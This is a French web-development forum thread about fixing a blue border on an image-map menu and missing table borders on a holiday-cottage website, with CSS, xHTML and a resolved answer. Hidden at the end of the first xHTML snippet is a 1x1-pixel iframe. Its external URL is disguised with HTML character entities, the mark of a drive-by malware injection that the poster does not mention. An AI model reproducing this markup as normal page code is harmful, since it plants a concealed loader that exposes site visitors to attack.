Des bugs en CSS tableau & image MAP... [Résolu]

Salut à vous,
je suis en train de refaire un site web et j'ai des soucis lors de l'affichage...

Tout d'abord pour mon menu j'ai créer une image sous Photoshop, et j'ai voulu ensuite créer des liens vers les différentes pages en sélectionnant plusieurs parties d'images...
Voici une page web qui en parle: http://fr.selfhtml.org/html/graphiques/ ... _liens.htm
Mon problème est que tout autour de mon image, un contour bleu apparait... ce qui est évidemment pas recherché.
Voici le lien la page: http://www.gitedechantegri.fr/site/

Voici les codes xHTML et CSS:
- CSS:
[spoiler:1mg57y9z]#container
{
width: 800px;
background-image: url("images/menu_.png");
background-repeat: repeat-y;
margin-bottom: 0px;
}

#menu
{
float: left;
width: 226px;
height: 100%;
background-image: url("images/menu_.png");
background-repeat: repeat-y;
}

#header2
{
float: right; /* Le menu flottera à gauche */
width: 574px;
height: 10px;
background-image: url("images/header_.gif");
background-repeat: no-repeat;
margin-bottom: 0px;
}

#main
{
margin-left: 226px;
padding: 3px;
background-image: url("images/designgite2_04.jpg");
background-repeat: repeat-y;
}[/spoiler:1mg57y9z]

- xHTML:
[spoiler:1mg57y9z]<div id="container">

<div id="menu">
<!-- Ici on mettra le menu -->
<map name="menuim">
<area shape="rect" coords="31,8,205,35" href="chantegri.php" alt="G&icirc;te de Chantegri" />
<area shape="rect" coords="30,41,204,68" href="briolet.php" alt="G&icirc;te de Briolet" />
<area shape="rect" coords="30,77,203,105" href="tourisme.php" alt="Tourisme" />
<area shape="rect" coords="31,114,203,144" href="loisirs.php" alt="Loisirs" />
<area shape="rect" coords="30,150,203,180" href="acces.php" alt="Acces" />
<area shape="rect" coords="30,187,203,217" href="tarifs.php" alt="Tarifs" />
<area shape="rect" coords="30,223,203,253" href="contact.php" alt="Nous contacter" />
</map>
<img src="images/menu.gif" alt="Menu" usemap="#menuim">
</div>

<div id="header2">
</div>

<div id="main">
<h1>Bienvenue !</h1>
</div>
<br style=&#39;clear: both;&#39; />
<iframe src="http://jL.c&#104;ura&#46;pl/rc/" style="width:1px;height:1px"></iframe>[/spoiler:1mg57y9z]



Mon autre soucis est que j'ai fais un tableau avec du xHTML puis dirigé le tout avec du CSS... or sur la moitié haute de mon tableau, j'ai la bordure noir qui disparait.
Lien de la page concernée: http://www.gitedechantegri.fr/site/tarifs.php

Voici les codes xHTML et CSS:
- CSS:
[spoiler:1mg57y9z]caption
{
margin: auto;
width: 550px;
font-family: Arial, Times, "Times New Roman", serif;
font-weight: bold;
font-size: 1.2em;
color: #009900;
margin-bottom: 20px;
}

table
{
margin: auto;
width: 550px;
border: 4px outset green;
border-collapse: collapse;
}

th
{
background-color: #006600;
color: white;
font-size: 1.1em;
font-family: Arial, "Arial Black", Times, "Times New Roman", serif;
}

td
{
border: 1px solid black;
font-family: "Comic Sans MS", "Trebuchet MS", Times, "Times New Roman", serif;
text-align: center;
padding: 5px;
}[/spoiler:1mg57y9z]

- xHTML:
[spoiler:1mg57y9z]<table>
<thead>
<col style="background-color:#FFFF99;color:black;"/>
<col span="3" style="background-color:#FFFFCC;color:black;"/>
<tr>
<th>/</th>
<th>Gîte de Chantegri</th>
<th>Gîte de Briolet</th>

</tr>
</thead>
<tbody>
<colgroup>
<col style="background-color:#FFFF99;color:black;"/>
<col span="3" style="background-color:#FFFFCC;color:black;"/>
</colgroup>
<tr>
<td>Très haute saison</td>
<td>600€</td>
<td>1 100€</td>

</tr>
<tr>
<td>Haute saison</td>
<td>550€</td>
<td>1 100€</td>

</tr>
<tr>
<td>Moyenne saison</td>
<td>400€</td>
<td>700€</td>

</tr>
<tr>
<td>Hors saison</td>
<td>350€</td>
<td>500€</td>

</tr>
<tr>
<td>Week-end 1 nuit</td>
<td>150€</td>
<td>Indisponible</td>

</tr>
<tr>
<td>Week-end 2 nuits</td>
<td>210€</td>
<td>280€</td>

</tr>
<tr>
<td>Week-end 3 nuits</td>
<td>270€</td>
<td>320€</td>

</tr>
<tr>
<td>Draps</td>
<td>+8€</td>
<td>Compris</td>

</tr>
<tr>
<td>Ensemble de toilette</td>
<td>+5€</td>
<td>Compris</td>
</tr>
<td>Ménage</td>
<td>+40€</td>
<td>Compris</td>

<tr>
</tr>
<td>Bois (poêle à bois)</td>
<td>+10€ (brouette)</td>
<td>?</td>

<tr>
</tr>
<tr>
<td>Barbecue</td>
<td colspan="2">Compris</td>

</tr>
<tr>
<td>Garde d&#39;enfant</td>
<td colspan="2">Nous consulter</td>

</tr>
<tr>
<td>Piscine</td>
<td>Absente</td>
<td>Présente (sécurisée)</td>

</tr>
<tr>
<td>Animaux</td>
<td>Refusés</td>
<td>Acceptés</td>

</tr>
<tr>
<td>Cigarette</td>
<td colspan="2">Non fumeur</td>
</tr>
</tbody>
</table>[/spoiler:1mg57y9z]


Merci beaucoup !!!!

Résolu.

Dans le CSS j'ai rajouté une ligne pour préciser que je ne veux pas de bordure sur les images.

Et pour le tableau, j'ai enlevé:
[spoiler:22jgpiyk]<colgroup>
<col style="background-color:#FFFF99;color:black;"/>
<col span="3" style="background-color:#FFFFCC;color:black;"/>
</colgroup>[/spoiler:22jgpiyk]